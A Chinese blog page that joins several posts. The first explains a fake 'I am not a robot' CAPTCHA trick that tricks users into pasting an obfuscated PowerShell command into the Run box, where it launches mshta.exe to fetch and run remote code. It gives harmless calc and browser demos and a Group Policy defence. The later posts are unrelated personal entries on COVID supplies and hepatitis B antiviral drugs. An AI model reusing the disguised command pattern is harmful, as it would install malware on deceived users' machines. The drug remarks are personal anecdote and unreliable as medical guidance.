昨天晚上刷微博的时候，看到教主发的《现在黑产有一种新的社交工程学挂马方案》 ，虽然技术不高深，但是迷惑性还是蛮大的。也是因为看不懂教主发的微博，让我时常自惭形秽。

看描述，应该是在访问一些网站的时候会弹出人机验证的界面，根据截图看来应该是国外的网站，国内网站未为可知，或者也有。当然，这种网站基本都不可能是什么正规网站，即使现在中文网站没用这些技术，可能过几天也就出了中文版本了。

基于这种验证，在弹出这个窗口的时候页面已经将要粘贴到文本内容写入了粘贴板，此时你按照页面提示，按下键盘的 Win +R 键，此时会弹出运行窗口，然后，你再按 Ctrl +v 粘贴验证文本，此时运行窗口就变成了下面的样子：

真的不同的 windows 版本（系统设置）可能前面的选择框样式有所区别，但是看起来似乎没什么问题对不对？

此时你要执行第三步了，按键盘的 Enter 或者点击确定。点了之后，一个黑窗口出来又消失了，似乎没什么变化，然而，就在这时候，你已经下载了黑客的木马文件并且执行了，而这个操作，火绒似乎也不会有什么反应。

那么问题出在什么地方呢？当然是你复制到运行窗口内的那段文字，实际上全部内容应该是类似下面的样子：

然而，这段经过精心设计的问题，在粘贴到运行窗口之后。由于运行窗口默认显示机制是显示最后的文本，那么刚好就显示了想让你看到的那一段：

 'I am not a robot: CAPTCHA Verification UID: 1314

让你自以为是在做验证，然而，这一句是注释，真正有用的是前面的这一段：

Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('ms' + 'hta' + '.exe '+$l)}

通过 mshta.exe 加文件路径反问文件并且执行。那么知道怎么实现的，我稍微改造了一下，不会产生任何的危害，也可以测试下效果。

例如复制下面这段，运行之后会打开计算器：

powershell -w 1 -C "$l='https://oba.by/';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('cal' + 'c' + '.exe ')}" #  'I am not a robot: CAPTCHA Verification UID: 1314'

运行效果：

下面这行命令会在运行之后直接打开我的博客：

powershell -w 1 -C "$l='https://oba.by/';Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine=('C:\Program Files\Internet Explorer\iexplor' + 'e' + '.exe  https://oba.by')}" #  'I am not a robot: CAPTCHA Verification UID: 1314'

运行效果：

要解决这个问题，最简单的是不要在脱离当前程序运行任何命令，当然，也可以按照教主的做法，直接禁用运行：

Win+R，输入 gpedit.msc 运行。然后打开[用户配置] -> [管理模板] -> [“开始”菜单和任务栏]，找到[从“开始”菜单中删除“运行”菜单]，双击打开，选择“已启用”。

设置之后再次按 win +R 就会出现下面的提示：

如果要恢复功能，在开始菜单直接搜索gpedit.msc，点击运行之后将选项改为未配置或者已禁用即可。

简而言之，上网要小心，眼见不一定为真，不然，哪里有那么多的美女呢！祝大家情人节快乐啊！

斗转星移，时光易逝。告别了不可磨灭的2022年（历史终将会给出她的评价），随着代码自动化更新了博客页脚——© 2006-2023 JieMin.com 黄杰敏的博客，基于 WordPress 6.1.1，优雅的个人创作平台。——一看还是咋舌了，06年高考后上大学，捣腾独立博客，满打满算已经走过17个年头。例行公事，仪式感记录发一篇一月份的文章，以获得侧边栏历史文章归档的存在感。

新冠病毒的传染力是人类历史认知里的天花板，专治各种不服，不以人的意志为转移。只有亲身经历过的苦难才刻骨铭心，经历过12月的种种，才开始真正体会到当初的武汉人民有多惨，牺牲有多巨大。世界各国的防疫政策不应该zz化，应该让数据说话，应该让各路专家拿着身份证在镜头前实名制说话。否则苦难终将是扇在自己脸上的一记耳光。

要对自己诚实，要喝酒，要读书，要大声唱歌，要像个神经病一样大笑。要作梦，一直做梦，永远活在美梦里。活色生香，鲜血淋漓。

《平凡的世界》里有一段话是这么说的：谁让你读了这么多书，又知道了双水村以外还有个大世界……如果从小你就在这个天地里日出而作，日落而息，那你现在就会和众乡亲抱同一理想：经过几年的辛劳，像大哥一样娶个满意的媳妇，生个胖儿子，加上你的体魄，会成为一名出色的庄稼人。不幸的是，你知道的太多了，思考的太多了，因此才有了这种不能为周围人所理解的苦恼。

我们可以浪费时间，但不可以浪费生活。我们可以把时间浪费在自己喜欢的事情上，但不可以困在自己讨厌的生活方式里。——大卫·福斯特·华莱士《生命中最简单又最困难的事》

未表达的情绪永远不会消亡。它们只是被活埋，并将在未来以更加丑陋的方式涌现出来。—弗洛伊德

与过去和解。不要因为过去的遗憾，影响到你珍贵的当下。

从小就被教育，爱这个爱那个。其实很简单：在你有难的时候谁爱你，你就爱谁。——莫言

日月既往，不可复追，那这一切的意义又是什么呢？因此我总认为，人生要活在当下，过程比结果更重要。此情可待成追忆，只是当时已惘然。

退烧药：对乙酰氨基酚/布洛芬（成人药片及儿童混悬液），
品牌：泰诺林，强生美林，中美史克。
关节止疼药：西乐葆 塞来昔布；
体温计，血氧仪，制氧机；
N95口罩，抗原；
退热贴，止疼贴，暖贴；
开喉剑喷雾，肺力咳，急支糖浆，川贝枇杷露；
金嗓子润喉糖（王老吉刺柠吉润喉糖），维生素 c，补液盐或宝矿力水特；
滴露、84消毒液，随身洗手液，喷雾酒精，洗鼻器和盐包；
梨子、橙子。

接上回的 换药，新国产药“维益青富马酸丙酚替诺福韦片”吃了有 15 天了（吃完一排），今天上午去医院抽血，下午报告都出来了。

虽然肝区总是隐隐不适，但结果几乎没啥变化，HBV-DNA 定量（病毒数）小于 100 IU/ml，上回做的是高敏的，直接是 25 IU/ml，第一项比上次检查的略高些。生化全套除了“磷”元素这一项略低，其他也正常，搜索了一下，“磷”元素低的原因，有各种各样，其中有一个是说可能是肚子饿的，这个理由甚合我意。

早上医生难得的给我了我个建议，说我这种情况可以打“干扰素”，医保完后一针 100 多人民币，每周一针，打 24 针，有 30% 多的概率能彻底治好乙肝。

我想了想，暂时还是没接受，最近刚刚晋升二胎奶爸，休息不好，怕这针打进去白搭了，等过段时间看看情况再说。

而且这三分之一的概率实在不算大，运气好像用完了。

2022 年 10 月因为肝问题住院住了一个月，当时医生给开了抗病毒的药叫艾米的，全称：“恒沐艾米替诺福韦片”，吃到现在也快两年了。

上一次（一个月前）去复查，两对半定量还是两个阳，高灵敏 HBV DNA 定量（俗称病毒数）仍然是“未检测到病毒核酸”。

这个状态持续很久了，虽然偶尔肝区还是不舒服，但检测的结果一直看着挺不错，唯一让人头疼的是这个叫“艾米”的药。说是国产的，但一瓶 456 元人民币的价格，是一分都不能少。除了住院的时候开了一瓶和出院的时候刚好差不多一瓶用完百般请求又给开一瓶外，后面去医院都不给卖，医生开了方子要自己到外面买。而且说是走医保，但不进统筹，坚定不移的只从个人账户里扣钱。我一个月医保个人账户才进 100 出头，快两年下来入不敷出看着“坐吃山空”。

说起这个国产抗病毒药，我还好奇搜过这个叫“江苏豪森药业集团有限公司“的，爱企查上显示法人叫“吕爱锋”，股东是“翰森（上海）健康科技有限公司”和“翰森制药国际有限公司”。前者“翰森（上海）健康科技有限公司”法人也是“吕爱锋”，而它的股东同样是“翰森制药国际有限公司”，这家既是父公司也是爷公司的国际有限公司注册地是中国香港，法人是一串拼音，类别是“私人股份有限公司”。

所以这个所谓的国产药，也是一家玩资本手段的外商投资企业，好在只是在中国香港绕了一圈，不像其他资本巨鳄，母公司都要注册到开曼群岛去。不管怎样，玩资本手段的大多都是奔着敲骨吸髓目的去的，所以一瓶卖 456 元只找医保个人账户也是能理解的了。

扯远了，言归正传。上次去复查的时候，我又再次提起这药太贵，能不能换一下，医生就说那就试试。这次吃完了这瓶就换了另外一种国产药：“维益青富马酸丙酚替诺福韦片”，江西清峰药业有限公司。这回没去搜是不是真国产了。医保统筹完，两盒 60 天的量才 15.08 元，这还要什么自行车呢。

不过因为今天是周末，诺大的一个医院居然只有一个诊室一个医生，开药的和看病的都一起排队，后来在排队人员的强烈要求下新开了一个诊室，匆匆忙忙的没问清楚。我开完药取到后，在我后面的一位买的是进口的“富马酸丙酚替诺福韦片”，我看他医保统筹后一瓶 30 天的药也才 30 多元，突然感觉自己是不是买错了。

话说这乙肝抗病毒的药也是真乱，搜索了一下大约是这么个分类：

1. 恩替卡韦 ETV，临床使用时间十多年，抗病毒效果略差于替诺福韦，丙酚替诺福韦，优点是副作用小。常见品牌及厂家，润众（正大天晴）、瑞夫恩 、博路定（百时美施贵宝）、维力青 、木泽（北京百奥）、恩甘定（广生堂）、和恩 、贝双定、雷易得 、木畅、甘倍轻、慧润（重庆药友）
2. 替诺福韦 TDF，抗病毒效果好，目前孕期推荐用药，相对于恩替卡韦、丙酚替诺福韦，存在肾损害、钙盐丢失的潜在风险。常见品牌及厂家，倍信（成都倍特）、韦瑞得（吉利德）、代韦 、纳信得（齐鲁制药 ）、立生诺（双鹭药业）
3. 丙酚替诺福韦 TAF，是替诺福韦的升级版，抗病毒效果最好。目前有：韦立得（吉利德）、维益青，特立晖，华异同，泰甘定，晴力得
4. 艾米替诺福韦，国产，新上市的。
5. 阿德福韦、拉米夫定、替比夫定。

这些名字拗口奇葩好像很高大上的东西，其实都不知道算不算的上是药，吃了压制病毒，不吃就反弹死的更快，还有许多副作用。

网上有人说吃了对肾不好，有人甚至阳痿，还好一把年纪了没鸟啥事，痿了就痿了吧。

还有一件很神奇的事情，也不知道是不是心理作用，感觉每次去复查，抽了三四管血后，后面几天人都会轻松很多，难道还有放血依赖症么？！

这个国产药吃个一两周再去抽抽血看看什么情况。